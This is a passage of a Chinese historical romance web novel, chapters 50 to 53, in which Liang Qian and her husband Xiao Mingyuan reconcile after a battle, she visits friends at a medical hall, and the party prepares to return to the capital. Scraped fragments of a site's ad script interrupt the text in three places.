未曾给娘子看账本管家,如娘子所见,是这些私产私兵我还未处置妥当,暂时不想将娘子牵扯进来,还望娘子恕罪,此次回去,只要娘子想的,我都如数奉上。” 萧明渊说着,竟然还扬起搂住梁浅的手作势作揖赔罪。 梁浅见他这番样子,笑出了声,萧明渊听到梁浅的声音也松了一口气,抱着梁浅说道:“如今,我的事娘子也知道得差不多了……” 梁浅见他又要开始长篇大论起来,正好也进了城,便打算要跳下马来,却未曾想,刚刚歪了下身子就被萧明渊一把捞了回来。 梁浅一脸懵,转头看着萧明渊,“这都到了,我要下去,你这是作甚?” 此时城中事务想必已经处理得差不多了,今日胆战心惊的也终于度过,街道上静悄悄的。 大个儿和小个子兄弟两人来接梁浅一行人去客栈,自然是猜到几分萧明渊的真实身份。 而萧明渊面对来人有多了几分生疏,浅笑着点了点头,将梁浅披风上的帽子又戴了上去,还将梁浅抱更得紧了些,才对着怀中挣扎的梁浅笑着说道:“你要下去作甚,难不成走着去客栈?” 梁浅抱着手哦了一声,不一会儿便到了客栈,而月银也已经在门口等着了。 萧明渊示意队伍停了下来,众人也四散去整顿人马,梁浅此时也注意到进城后的队伍比之前几乎少了一半的人,这些人竟然不知不觉就离开了。 月银上前行礼,“将军,小人无能,未追到黑衣人,还让夫人涉险,请大人责罚。” 梁浅探出自己被萧明渊的披风帽子盖住的头,伸出手来挥着。 然后同月银说道:“无事无事,月银,那人本来就武艺高强,行踪难辨,且我也没有什么事,今日你劳累了,快去歇息罢。” 月银偷看了一下萧明渊,见萧明渊也点了点头,才又行礼退后,“多谢夫人体谅。” 而梁浅也正打算下来朝小个子说话,才下马便直接被萧明渊横抱了起来,刚打算上前行礼的大个儿小个子顿时瞪大了眼睛。 萧明渊见一旁的两人呆住了,便径直抱着梁浅往里面走去,梁浅则歪着头朝两人问道:“两位可有受伤,城中一应事物可都安置好了?” 小个子这才朝两人离开的方向喊着,“头儿放心,明大人都处置好了,我们两人也无事,头儿好生休息啊……” 梁浅还没有听小个子说完,便被萧明渊抱着上了楼,于是便有些嗔怪道:“萧明渊,你!?” 萧明渊没有看梁浅,径直踹开了房门,将梁浅放在了床上,“娘子还未回答我的问题?” 50. 第五十章·坦白局 梁浅从床上爬起来,有些疑惑地问道:“你说的哪个问题?” 看到萧明渊那张有些认真的脸,梁浅心里不免闪过一个想法,不会这人这么快就反悔了要杀我了吧。 萧明渊这才坐在了床对面的凳子上倒起茶水,“还能是什么问题,依娘子看,我可算得上几分良配了?” 梁浅本来有些紧张,听到他这样说,便松了一口气,朝他这边走了过来,“算,夫君都不算谁还算啊,夫君的救命之恩,我也一直未曾忘记过哩。” 梁浅自己也倒了一杯茶,正打算送入嘴中,却听萧明渊又问道:“所以你对我,只有报恩的心?” 梁浅笑着摇摇头,“当然不止。”说完这句话梁浅继续喝起茶,而萧明渊听到着话却瞬间眼睛亮了起来。 “不止?那?” 梁浅一杯茶水饮尽,“还有我对你也有恩呀,你受伤的时候也是我不辞辛劳的照顾你,还为你挨了一刀,到这里,咱俩的恩情不就算抵消了? 更不说后来你挖人家古树,也是我出面解决的,查王尚书的案子也是我找到突破点的不是?如今今日之事,可也有我的一份功劳?” 萧明渊泄气般耷拉着肩膀,转过身来坐着,听梁浅说完,乖乖点了点头,“嗯,娘子聪慧机智,为夫敬佩不已。” 梁浅听到这话,有些得意的笑着坐了下来,“嗯,这话听着中听,可,光嘴上说说,可不算什么,来点实际的。” 梁浅说完还朝萧明渊眨了眨眼睛,想提醒他别忘了之前和自己的约定,或者甚至可以在约定之外再给自己点好处之类的。 萧明渊此时眼睛转了又转,在见到梁浅貌似再冲自己抛媚眼之后,脑袋更是晕得很,嘴里喃喃念道:“实际的?” 见梁浅亮晶晶的眼睛眨巴眨巴的,听到萧明渊回答还用力点了点头,萧明渊这才下定决心。 好吧,那就只有牺牲自己的色相了,萧明渊便放下茶杯,径直朝着梁浅亲了过去…… 梁浅一惊!忙推开他,“你做什么!萧明渊!” 萧明渊被推开后愣在原地,眨了眨自己的眼睛,呆呆地看着梁浅,“娘子不是说,要点实际的?” 梁浅无语,见他这个傻样子,竟然被气得有些想笑,自己都没有意识到自己的语气有些撒娇地说道:“不是这个,谁要这种实际了。” 没有想到萧明渊见到梁浅跺脚的样子,反而脸色变得有些不对,隐隐好像有些生气,坐直了身子,朝梁浅有些阴阳怪气地说道:“我知道了,娘子这是嫌弃我。” 梁浅简直满头问号,对他这无厘头的话反应了半天,“啊?” 萧明渊抱起自己的手,像是有些委屈的说道:“就是!新婚那日,洞房花烛,娘子却拿了婚书就走了,我想定是娘子见到了我,对我不满意,早知道,那日我就不该喝那么多酒,惹得娘子不快。” 梁浅对萧明渊这幅突如其来的茶味有些好笑,可是见萧明渊都不敢看自己,还赌气的自顾自说着,便不敢笑出声来。 “可娘子你是同我承诺了的不是?你当时还……还……总而言之,见你离开,我心里固然有些生气,可这些时日我总是告诉自己,定是我的缘故。 我待娘子再好些,娘子定是会谅解我的,以至于娘子说什么不生孩子所以不……的鬼话我也听得,即便我本来也觉得娶你不是为了什么传宗接代的。” 梁浅见他越说竟然还越来越显得可怜了,便有些同情道:“其实你也算没有错得那么多,当时不追我回来不就皆大欢喜了。” 结果萧明渊顿时有些爆发了起来,还是假笑着,站起来对梁浅说道:“是,都是我自作多情,是我自作多情追的娘子,我承认我是放不下你才将你带回去的,可我不是也是想着萧家想着柳家,想着娘子的声誉? 况且在那之后,娘子做了许多事,我可什么都没有计较过!”萧明渊像个和人斗嘴的小孩一样,翘起嘴有些生气的看着梁浅。 梁浅被他的样子逗笑,也同他斗起嘴,“哈,我有做什么事,需要你来计较。” “娘子的秘密,我可都知道。” “!什……什么秘密,我哪里有什么秘密。” 梁浅被萧明渊突如其来的锐利眼神盯得有些心虚,别过脸去不敢看他。 “哼,你大胆得很!府中四处探查,安排眼线,私会马夫,你以为我都不知道?” 梁浅猛的转头看着萧明渊,等等,这些事,真是自己做的? “我府中四处探查?” “对啊,月银万星都见你随时在府中上下探查,我好几个房间的机关都被你卸了。” 梁浅叹气,“小人斗胆请问?夫君唤我什么?” “嗯,娘子。” “那我作为府中的女主人,府中上下逛逛了解了解我自己的住处不行?那些机关也是我不小心触碰到的,你应该庆幸你那些玩意没有杀了我才好,且不是你说我可以在府中上下自由行动?” “嗯,我确实说过这话,这点是我多疑了,给夫人赔罪。” 萧明渊的情绪就是上来得快,但是只要有道理,他瞬间就能气消。 “嗯,还有你说我安排眼线又是如何?” “府中的管家说你遣了人出府,我派人探查,他竟然盯上了朝中官员。”萧明渊又继续装起他的冷酷表情。 “嗯,这事确实倒是有,可我这其实是为了夫君好不是。” “哦?为我好。” 梁浅用力的点着头,还伸出手轻轻在萧明渊胸前安抚了两下,“别生气嘛,我确实是为你好,之前我就同你说过,你一个武官回朝自然是要些文官支持的不是?所以,我这其实是为夫君的仕途。” 梁浅说谎话向来是驾轻就熟,不用打一点草稿,萧明渊也顺毛成功,乖乖的坐了下来。 然后萧明渊像是突然想起什么一样,“那还有私会马夫你怎么说?” 梁浅眯了眯眼睛,“马夫?你是说……阿无?无面?” “除了他还有谁。”萧明渊有些赌气的说道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嗐,那人是我同乡,和我家也沾亲带故,算个表表表表弟,本来也是跟着我陪嫁过来的,我关心关心很正常不是?况且,他真正私会的可不是我。”梁浅一脸看戏的表情看着萧明渊。 萧明渊看着梁浅说道:“真的?只要不是和你私会就行。” 梁浅无奈的摇了摇头,心想令你吃惊的还在后头。 萧明渊看着站在自己身旁的梁浅,表情柔和许多,便轻轻牵住梁浅的手,靠在她的肩膀,梁浅没有躲开,只是见他这个样子,心想他刚刚生气是不是装的,不然什么气这么快就消了。 萧明渊将头抵在梁浅肩膀上,有些失落地问道:“我这样,你都不生气吗?” 梁浅只是顺口就回应道:“嗯,这些怀疑与你这个乱臣贼子而言很合理,我没有什么生气的。” 可是见他没有什么反应的样子,梁浅不仅问道:“你,希望我生气吗?” 只听到萧明渊好像嗯了一声,然后叹了一口气,又伸出手来抱住了梁浅,然后开始低声同梁浅说道。 “我总觉得你忽冷忽热的,好像离我很远。” “从前,先皇进京后,对父亲忌惮,就只有我和母亲在京城,我时不时还进宫伴读。” “后来,母亲走了,父亲甚至未曾见到她最后一面。” “在父亲的相求之下,先帝终于怜惜我年幼,终于放了我随父亲去到边塞。” “那几年,我与父亲在军营生活,父亲教了我许多,我们时常回城中陪着妹妹。” “后来,父亲好不容易从战场上捡回一条命,却还是被害,我拉着他的手,见到那个曾经英姿焕发的大将军在营地的一张草席上咽了气。” “我接管了萧家军,我亲身经历了父亲曾经历过的一切黑暗,明汐也伤心过度,不见了踪影。” “那几年,好像只有远方同我通信的你,将我当成家人一般,与我说着江南烟雨,塞外风霜,我们谈天说地,仿佛只有你,能窥见内心真正的我。 可是我还是感觉离你好远好远。” “后来,边疆逐渐安定,我也站稳了脚,陛下招我回京,家中族人催我娶亲,我却只想你。” “可是,如今你在我眼前,我却还是觉得你好像很远很远……” “我对不起的人有很多很多,我失去的人也很多很多,你可不可以……” 听着萧明渊说着,梁浅不禁也有些动容,原来,他也经历了这么多。 原来自己当年为了练字,烂七八糟说的话竟然在他眼中这么重要,怪不得他还专门收在书房。 不过我让烟晴把信都转交还给他,是想从此以后也就了结此事的,却没有想到他留下来。 梁浅正打算安慰起萧明渊,嘴里说着,“好了,我在,我在。” 结果却没有听到一点回音,转头一看,他居然已经累得睡着了。 梁浅拍了拍他的脸,他已经全然睡着了,梁浅看着他的脸,笑着说道:“这算睡美人嘛。” 51. 医馆 昨日众人都太过劳累,这座才经历了守卫战的县城仿佛睡了好久才慢慢苏醒,窗外慢慢传来街道上嘈杂的声音,街市已经逐渐恢复了起来。 梁浅在床上伸了伸懒腰,看着将屋子里照得明亮的阳光莞尔一笑,这一切终究还是平息了下来。 转头看了看昨夜萧明渊睡的地板,梁浅心想,应该不至于很冷吧,还给他盖了被子,虽然现在被子在自己身上…… 刚从楼上下来,梁浅便见到了正在吃早饭的万星,万星见到梁浅忙站起身行礼,“见过夫人。” 梁浅同他一桌坐下,万星却往后退了退,梁浅看着桌上他还没有吃完的早饭,先给自己也叫了一份一样的,然后强拉着他坐下。 “快坐下,快坐下,这又不是京城,没有人会注意那些礼节,况且私下里,你和月银不也是和萧明渊坐一起吃饭?”万星这才又坐回了原处,但却不敢动筷子。 梁浅看了看周围,“怎的就你在,月银他们呢?”梁浅终于也吃起了自己的早饭。 万星边喝粥边回道:“那个笨蛋啊,咳,那个月银啊,回夫人,月银他同将军一早就去审人去了,将军命我保护夫人。” 梁浅听他的语气不免觉得有些好笑,于是淡定地说道:“你们俩,名字应该反过来叫才对。” “夫人何意?小人迟钝,还请夫人赐教。”月银睁着大大的眼睛好奇地看着梁浅。 “这月银说是月亮,初识确实表面上看着如冷月一般,天天绷着脸,有时候比萧明渊还冰,可其实心底里却是个细致且热心肠的。 而你嘛,说是天上的上万颗星星,表面上八面玲珑,整天笑眯眯的,其实却是个心直手快果断得很的。” 梁浅笑着看着万星说道,虽然想起他以前干过的一些糊涂事就好笑,可一想到昨夜他如冷血杀手般的眼神,梁浅还是不寒而栗。 万星呆呆地笑了起来,仿佛昨日他眼中的阴冷从未出现过一般。 “嘿,夫人好眼力,月银罢,从我认识就是个面冷心热的,他父母老来得子,却正赶上那时候世道正乱,他爹便被拉去当了兵,后来再也未曾回来过,而他则娘亲得了他爹的死讯,没过多就便去了,他跟着家里的两位老人长大,后来家里没人了,便参了军。 我不像他,我从小流浪,四处卖艺,面对街上人来人往的人自然是要笑脸相迎,可遇到捣乱的恶霸我也是直接冲上去咬的。 反正也饿,军营还管饭,我便去了,我也是身上的衣服被敌军砍得破破烂烂的,与他同住,他帮我缝补,我们这才认识的,两人都不识字,所谓的名字还只是部队的编号,后来还是遇到将军,将军给我们取的名字。” 万星回忆起往昔,用最平常的语气讲述着,却给人好像千帆过尽,苦尽甘来之感。 梁浅饶有兴趣的听着他说着他们以前军营的事情,怎么偷抓偷吃野鸡,怎么从战场死里逃生,怎么立下军功…… 而后准备出门,却正好见大个儿小个子迎了上来,笑眯眯地叫着梁浅,“头儿。” 梁浅眼睛也亮了起来,“来啦,吃了饭没。” 两人用力地点着头,“吃了吃了,萧家军进城以后还带了许多粮食救济,城里城外也是众人在帮着修缮,这会儿都已经忙得差不多了。” 梁浅点了点头,又叫小二拿了几个肉包塞到两人手里,才说道:“那我们去医馆看看,有没有什么帮得上忙的。” * 梁浅才进门,便见到柳烟晴正在忙碌的身影,便带着身后的三人在院子里自己找起事情做,比如给人换药,帮人递水,帮忙收拾打扫…… 就在梁浅收拾完一处的残局之后,抬眼居然先看到的是小十一,她学着柳烟晴的模样,背着小药箱,四处帮忙换药查看上伤口。 梁浅蹲下来看着十一,“十一,你一个人在这里吗?婆婆呢?你们可有受伤?” 小十一摇了摇头,从包里拿出两颗糖递给梁浅,“我们都没事,昨日我见到柳娘子带着城中百姓支援,还忙着救治伤员,我便想来帮帮她,给你吃糖。” 梁浅接过小十一的糖,摸了摸她的头,“没事就好,没事就好,现下大多人都睡了,你也去休息会儿罢。” 小十一轻轻点了点头,就在要转身的时候,又拉了拉梁浅的手,“嗯,那我以后可以叫你大姐姐了吗?” 梁浅自然也知道,十一早就看出自己是女子了,不过她也只是没有说出来,两人就这么心照不宣的过了这些时日,于是梁浅摸了摸十一的头,将自己怀里的糕点递给了十一。 “当然可以,十一也去休息一会儿罢,我去找柳娘子说说话。” 小十一点了点头,然后还是拿着梁浅说道:“大姐姐,婆婆说过几日太平些了,要带我回我外公家,他家在许溪,大姐姐可否给我个地方,等我安定下来,给大姐姐写信。” 梁浅走进屋子里,拿起笔写下了师父在京城的住处,然后顺手偷偷夹着一张银票放到了信封里递给了十一。 “给,小十一,你到时候就请人送到京城的此处,找到一位叫无情的女子,说是给浅姑娘的信就可以了。” 十一小心的将信接起来放在怀里点了点头,梁浅见她脸上也都是疲惫,便心疼的同她说道:“好啦,路途遥远,你和婆婆都要小心才是。” * 正好此时柳烟晴也忙得差不多,正在里屋坐着喝茶,梁浅像以前一般,偷偷走到柳烟晴的身后蒙住了她的眼睛,“猜猜我是谁~” 柳烟晴笑了笑,伸出手摸了摸蒙住自己眼睛的手,顺势把了把脉,然后叹息了起来,“啧,这脉象……” 梁浅吓了一跳,忙松开了手,乖乖地坐到烟晴身边,随她继续把着脉,焦急地问道:“怎么了怎么了?” 柳烟晴见到梁浅的囧样,捂着嘴笑着,然后伸手在梁浅的脑门敲了一下,“放心,好得很,本就只是些外伤,你也皮糙肉厚的。” 梁浅装作生气的样子在烟晴的肩膀轻轻打了一下,然后用撒娇地语气说着,“好哇,阿晴你就是这样逗我的,哼,不理你了。” 梁浅趴在桌子上气鼓鼓的样子逗得烟晴连连发笑,这番情景也让她不禁恍惚,两人此时都不是在柳府日日打闹的小女孩了,而是在经历了痛苦,悲悯,恐惧后又重生的两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个人。 “不理就不理呗,哎呀,有的人不用理我,现在有人理得很。” “嗯?谁啊,你说。”梁浅皱着眉疑惑地看着烟晴。 “你家萧大将军定然是理你的呀,那日我见你们两人可是恩爱得很哩。”烟晴满脸看戏的表情看着梁浅,果然一说完梁浅脸就变红了。 “你又打趣我,烟晴。”梁浅又扭过了身子撅起了嘴。 “好好好,不打趣你了,好好吃盏茶,见你进来就没有停过。” 烟晴将茶杯推了过去,梁浅瞬间破功,嘟着嘴说:“那好吧。” 烟晴又朝院子里看了看,“对了,和你一同进来的几位小官人哩,这会儿怎么没有见到了。” 梁浅端着茶水细细品道:“见他们也累了,我便给了些银两请他们去旁边吃酒去了,我则来这里寻你,你忙了好几个日夜,军医也过来了,你可要休息休息?” “嗯,医师也这样说,只是我眼睛一闭上就老是在城墙上看到众人厮杀的场面,所以哪怕众人都睡了,我也想或许我再多看一个时辰,便能多照顾一分,与其长夜漫漫无眠,倒是不如做些事,此时也不算觉得累。” 柳烟晴虽然嘴上说着自己不累,可梁浅还是看出她的脸色比起几天前差得太多,说着这话也是连连叹息着,忙站起身来走到堆放药材的柜子面前找起药材来。 “以前我常常跟着师父出门做事,虽然众多棘手之事都是师父挡在前面,可我多多少少也接触了些,便如你这般没日没夜的练功,没日没夜的看书,总是想,若是我再厉害一些,师父是不是那次就不会被伤到……”梁浅边说着,边称着药材的重量。 “后来师父知道了同我说,做事也好,练功也好,都要循序渐进,一日不休息不一定能改变什么,人还是要身体好,才能做更多的事情。 我意识到师父说得对,我那时好像有些矫枉过正了,俗话说得好,身体是革命……做事的本钱。” 梁浅唠家常般同烟晴说着,手里研制着药材,烟晴见状也走上前来看着梁浅鼓捣。 “多少人,多少事,是因为自己太苛责自己才错过的,你已经做得很好了,烟晴,我今日见到的人都在同我说,昨日的你是多么的好,多么的令人敬佩,我知道你也是第一回经历这些事,所以难免会害怕,会逃避。” 梁浅放下手中的东西,拉着烟晴的手看着她的眼睛继续说道:“烟晴,我们以前不是说过,要看遍人间的风景,寻遍这世间的风月? 可人间的风景不仅有山水云雾,还有悲欢离合,皆为我们如今经历之事。 此刻,这些都是我们真真切切感受到的见到的,不要怕这些记忆在黑夜里侵蚀我们的灵魂,这些经历只会使我们更加强大,让我们变成更加丰富的人,那个天天翻墙出来四处探寻的柳烟晴,和眼前这个为城为百姓做了许多事的柳烟晴,都令我敬佩。” 烟晴的泪水不知道何时无声的落了下来,可抬起头,她却笑着同梁浅点着头,两人就这样抱在一起相互安慰着,一起将这段时间的经历消弥化作尘土留在记忆深处,慢慢看着自己心里的那颗树不断长大。 52. 两个坏人 “好了,这个是我特制的安神香,偷的我师叔的药方,用的人都说好!”梁浅像是主持人念广告词一样,在柳烟晴面前竖起大拇指。 柳烟晴已经习惯梁浅从以前就是这般搞怪的样子,笑盈盈的接了过来,“好,那就多谢梁大侠赐药了。” 梁浅送柳烟晴回住处休息,于是便拿出自己刚刚弄好的安神香递给烟晴,然后看着万里无云的天空,“那烟晴,你接下来是怎么打算的?” “天高海阔,这才哪儿到哪儿,先在这里呆一段时间,之后又再说罢,阿浅呢?”烟晴此时的神情放松了不少,也期待的看着梁浅。 “自然是回京城咯,我还得再多赚点本钱才能游历天下哩,对了,柳夫人给我的银两我还没有还……”梁浅还没有说完便忙着找自己包里的银票,结果还没有掏出来就被烟晴按了回去。 烟晴这才语重心长地同梁浅说了起来,语气十分真诚,“阿浅,你我不必说这些,从小到大,家族里面那些人都假惺惺的,谁不知道他们念着爹爹的遗产,若不是去年你帮我找了外爷带着官府的过来,当众又证了爹爹的遗书,这些人这才消停,这些年也是你陪着我,这次替嫁也是你帮我。” “其实我也有自己的目的,有自己的私心才……”梁浅此时心里的愧疚涌了上来,同柳烟晴说着。 烟晴摇了摇头,又继续说道:“我柳烟晴看人不会错,况且做人做事论际不论心,我无论你真正想做什么,是你的事情,可你切实的帮了我,这是我看到的。” 这下又轮到梁浅想哭了,梁浅的眼泪在眼睛里面打转,烟晴又摸了摸她的头,烟晴说话向来是温柔却有力量的,感受到这份温暖梁浅的眼泪还是忍不住掉了下来。 “好了好了,别哭,又不是以后见不到了,说不定我还想去京城玩玩呢,顺便去看你……” * 梁浅还是绕到了县衙门口,正在犹豫着此时自己此时的身份方不方便进去之时,就见到萧明汐正走了出来,萧明汐远远看到梁浅后,便朝梁浅招手,向她走过来。 “姐姐!你可还好?昨日太忙了,城里城外一堆事,县令大人又受了伤,人人都来问我,所以有些没有顾全姐姐,姐姐你可有受伤?” 明汐拉着梁浅看了又看,梁浅有些无奈地笑着说道:“没事,明汐,你昨日迎战可有受伤?” 明汐摇了摇头,“都是些小伤,几天就好了,不用担心,如今正规的县尉大人也回来了,我也卸了任,终于可以轻松些了。”明汐说完便伸了伸懒腰,拉着梁浅往外面走去。 两人来到一家小摊上吃起了面,梁浅先问了起来,“明汐,如今城中状况如何?你如今卸任了总算可以好好休息了。” “嗯,还没和姐姐说,经此一役,兄长也算是认可我了,所以我就不回京城了,我要正式进入军中!”明汐一手拿着筷子,一手握着拳头坚定地朝梁浅说道。 梁浅向明汐点了点头,笑着拉住了她的手,“嗯,这就对了,我相信你,明汐,期待你成为萧明汐将军的那天。” “嗯,姐姐也要照顾好自己,无论你做什么,我也都支持你。” 明汐也笑着点了点头,梁浅此时也注意到远处无面牵着马走了过来,要走到两人面前时还被路上的石子绊了一下,抱着脚哎呦哎呦的跳了过来。 梁浅无奈地摇了摇头,叹了一口气然后朝明汐问道:“那这个笨蛋呢?” 明汐顺着梁浅指的方向看去,正看到无面一脸痛苦但是见到她却立刻笑着打其招呼,明汐莞尔一笑也伸出手回应着他。 梁浅看她俩连打招呼的动作都一样,还一见到对方就笑,看来是默契得很了。 “他呀,被兄长编进了李冲将军的手下,李将军母家也是我们萧家人,跟着哥哥一起长大,在他手下做事可不简单,他可是除了兄长之外最严厉的将领了。” 说起无面,明汐总是忍不住偷笑起来,梁浅也好奇地趴在桌子上问道:“如今方曦国还有些残余势力,免不了要刀光见血的,怎地,你都不心疼他?” “心疼又不能当饭吃,况且他除了轻功出色,实战之经验实在是少,且心智也还幼稚得很,自然是该锻炼锻炼的。”明汐一脸严肃地同梁浅说道。 梁浅听得认真,“那倒是真的,这人笨得很。” 结果梁浅话音刚落,无面将马栓好便跳到了梁浅面前,叉着腰说道:“你才笨哩!” 结果明汐一个眼神,无面的气势立刻就弱了下来,然后说道:“确实在下资历尚浅,且无功无名,幸得萧将军相助,才能到李将军手下做事,今后我定会做出一番事业来的!” 明汐这才满意地点了点头,梁浅看惯无面向来在自己面前嚣张的样子,如今气焰全然消了的样子倒是真的稀奇,梁浅不禁嘻嘻的笑了起来。 * 明汐和无面明日就要离开了,所以两人牵着白雨到城中四处游玩去了,梁浅便在府衙门口的茶摊上坐着喝起了茶,静静的等待着萧明渊从里面出来。 坐在旁边一桌的人东一句西一句地聊着,梁浅的注意也时不时被吸引了过去。 “嗐,如今当真还是这萧将军有势力,人又有心,你看着城中不过一个日夜,四处都管得严明得很,也没有乱起来,比起那个天天只知道提收税的丞相可好多了。”那人边磕着瓜子边同旁边的人说着,一脸吃瓜的表情。 “嘘,谁不知道如今朝中这两家斗得凶,你还当街妄议,你也不怕他人听到……”另外一人忙狐疑地看了看周围,见背对着他们梁浅和老板都没有什么反应,这才放松了片刻。 “切,天高皇帝远的,丞相在这事上吃了大亏,如今这城中也只得萧家军庇护,谁会介意我这番话。” “说起来,同是长月人,我都替那丞相害臊,我小叔子在城外帮着收拾,听他说,这次外敌来犯,怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是丞相里应外合的才是。 “怎地怎地?” “说丞相手下的人倒卖兵器给的方曦国,还有……” 正在梁浅听得起劲的时候,结果万星几人就找了过来,打断了两人的对话。 “哎哎,说什么呢?邻街的粮车翻了,你们快去帮忙!” 正在聊天的两人见到一身官服还带着刀的几人吓得赶紧结了账就点着头跑了,万星几人这才转过身来笑着对梁浅说道:“夫人不是刚刚在医馆,可让小的们好找。” 梁浅察觉到一丝异样,只是端着茶杯说道:“怎地,如今我在城中转转都得时刻盯着了?对我不放心的很?” 万星一时语塞,只是低头站在梁浅面前,大个儿小个子也被吓得不敢说话。 “娘子还到此处来接我?真是辛苦娘子了。”就在这僵住的时刻,萧明渊的声音从梁浅的身侧传来。 梁浅侧目看向萧明渊,他此时卸下了昨日那身的衣甲,只穿了一声玄色的衣裳朝梁浅走了过来。 梁浅也暂时懒得再去计较自己察觉到的异样,转过身对萧明渊说道:“嗯,夫君的事可都办好了?” “嗯,娘子放心,该拿到的口供证据都拿到了,我们回去罢。”萧明渊语气平和地同梁浅说着,然后过来牵着梁浅手往客栈的方向走去。 两人就这样牵着手慢慢地在城中的石子路上走着,微风吹拂,轻轻打在脸庞,和城外更为狂野的风截然不同。 “娘子可觉得我是坏人?”萧明渊有些小心翼翼地出声问道。 “坏人?什么叫做坏人?我不知道这个世间对于坏人是如何认知的,可于我而言,我身处这个拼命挣扎求得一线生机的时代,或许只有保持坚定我自己的内心,不乱于心,不困于情,才能……” 萧明渊发现梁浅又开始转移话题,便停下了脚步,转身坚定的看着梁浅。 “娘子?”萧明渊十分坚定地看着梁浅,很期待她的回答。 梁浅被他看得不自在,便别过头,“好啦,你是坏人可以了罢,我也……不算什么好人?”梁浅想起自己跟着师父干的事,好像自己在这个地方不太好意思再去评判别人。 “或者说,你也看见了,我也不是什么大家闺秀,什么管家理事,我统统不感兴趣,我如今呢?只想当个富婆,把京城人的钱都赚了,从这个意义上讲,我或许也是个坏人罢,那我们这两个坏人不就凑在一起了?” 梁浅有些俏皮地背着手往前面走去,萧明渊看着眼前这个明媚的少女,自己的内心仿佛终于被阳光照得暖暖的,于是自然地跟上她的脚步,拉着她的手一起往前跑去。 * “这是做什么?”梁浅被萧明渊拉着一路狂奔,到了客栈门口,萧明渊又跑过去牵马,于是梁浅气喘吁吁地问道。 萧明渊牵着马儿走了过来,伸出手满脸笑意地朝梁浅说道:“走,带你去看风景。” 53. 回京 “萧明渊!我要吐了!”梁浅被马颠得头痛,终于还是忍不住喊了出来。 梁浅被萧明渊拽到马上,然后就是出城一路狂奔,一路上都有萧家军的人在巡逻,可萧明渊骑着马没有一点停下来的样子。 于是在现代就常常晕车的梁浅,没有想到,到了空气清新的古代,还是会被颠得晕马。 听到梁浅捂着嘴叫喊的声音,萧明渊才忙停了下来,将梁浅抱了下来。 梁浅赶紧跑到草丛边吐了起来,缓了半天,眼前逐渐清晰起来,刚直起身来便看到萧明渊递过来的水壶,梁浅抬眼,只见萧明渊一脸紧张的看着自己,另一只手里竟然还拿着一张绣了什么花样的手帕。 “这是?”梁浅接过水壶喝了一口,然后看着萧明渊另一只手里的手帕,满脸疑惑地问道。 萧明渊只是笑而不语,拿起手帕来擦起梁浅额头的汗,梁浅继续喝着水,一脸狐疑地看着萧明渊,因为自己刚刚瞥见上面的花纹有些……熟悉? 萧明渊见梁浅边喝着水边一脸奇怪地表情看着自己,无奈地点了点头,将手帕摊开递给梁浅看。 “这是!这是我绣的那个?”梁浅探头一看,自己嘴里的水差点吐了出来,这上面歪歪倒倒绣着的一朵桃花,不就是自己之前练手绣的。 梁浅仔细回想,自己当时觉得绣得残了,便顺手丢在了梳妆台,没成想,被他捡了。 “还给我!这是我绣的。”梁浅伸手便要去抢,萧明渊忙收了回来,往前面跑去,嘴里还说着,“就不给你,这是我家娘子绣的。” 两人一路往山坡上跑去,梁浅追得有些累了,便有些不好意思恳求道:“还给我嘛,萧大人,它就是个残次品,我随手绣的。” 萧明渊这才停了下来,伸出手拉住气喘吁吁的梁浅,“只要是娘子绣的,我都喜欢,而且俗话说瑕不掩瑜,如此这般,才显得它的特别之处。” 梁浅叹了叹气才随口说道:“随你。” 当两人走到了高处,梁浅这才真正见到此地风景的别致,它也不似江南那般的烟雨朦胧,而是依旧静谧深沉,随衣而动的风呼号着属于她的狂野; 它不似京城那般繁花似锦,这里的每个人却比那里的人少了些深沉算计,只是以真诚之心待人待己。 “从前我总是会来这里看看风景,看看这便是我们要守护的万家灯火,若我们退让一步,便会让身后的百姓受苦一分,如今,我才回京不过一年,就让这么多人又遭遇苦痛……” 萧明渊眺望着远方和梁浅说着他过往的故事,原来这便是他曾今看过的风景…… 梁浅攀上他的手安慰着他说道:“这件事原不是在你,想必丞相已经筹谋许久了,想乘着大乱扰乱朝中,更是从他国获利,如今陛下明着分你手中的权,不仅是他丞相忌惮,更是陛下忌惮,你我在如今此事中能做到如此,已然是尽心之后才得的结果了。” 萧明渊轻轻点了点头,牵住了梁浅的手,又看向远方说道,“嗯,娘亲走的时候,她说,她会化作天地间的云,我想她的时候就抬头看看,若是有云,便是她来见我了。” 梁浅偏着头脸带笑意的看着萧明渊,“可是也不是天天有云呢?” 萧明渊轻声说道:“是啊,若是无云的时候,那便是娘亲在外游玩,她为人一世,先是闺阁女儿,后来还未跟随父亲来此几年,便被叫回了京城,她还未曾好好游玩过哩。” “母亲大人真是个有趣的人,如今,天地任她遨游,也算是遂了她的心愿了。” “嗯,可不是,后来父亲走的时候,他也同我说,他会化作风,去追随母亲,所以来这里,我会感觉他们都在我身边一样。” “嗯。” “你呢?娘子,怎么没有怎么听你提起过你家里人。” “嗯,哦,他们都挺好的。” 梁浅一时恍惚,家里人,若是现代的父亲母亲想必今生无缘了,而此地的父亲母亲自己也从未见过,如今也只有师父算是自己的亲人吧,可这些话,自己又如何能对面前的人开口呢。 * “都安排好了?”萧明渊手里拿着一封不知谁寄过来的信件,抬头淡然地朝月银问道。 月银行礼道:“里外都安排好了,不过,夫人那边……” “有什么只管说便是。”萧明渊收了信件,背着手看向梁浅所在的方向。 “夫人说在此处招纳了几名能人异士,想一同带回京中,小的不敢拿主意,故还是来请问将军该如何处置。” “无妨,她看过的人应该是不差的,你带着一同回去罢。”萧明渊走到了马车旁,然后想到了什么一样又转身说道,“如今要回京了,称呼还是要改了。” “是,大人。”月银行礼退下来到了梁浅身边,梁浅正在和沈从几人说话。 “沈大侠当真不愿同我到京城多谋些差事?大侠的才华可不能就这样被耽搁才是。”梁浅认真地对沈从说道。 沈从抱着自己的刀,背着自己的小包袱,朝梁浅笑着说道:“谢这位小大人赏识,不过我要收明汐这个徒弟,自然不必再去京城,在外也并非就没有出路,还请小大人宽心。” “那就请大侠多照顾明汐还有无面了,在此先谢过大侠。” 梁浅朝沈从抱拳行礼,又将自己之前在集市买到的剑穗送给了沈从,沈从行礼接过剑穗便飞身上马跟上了明汐所在的队伍离去了。 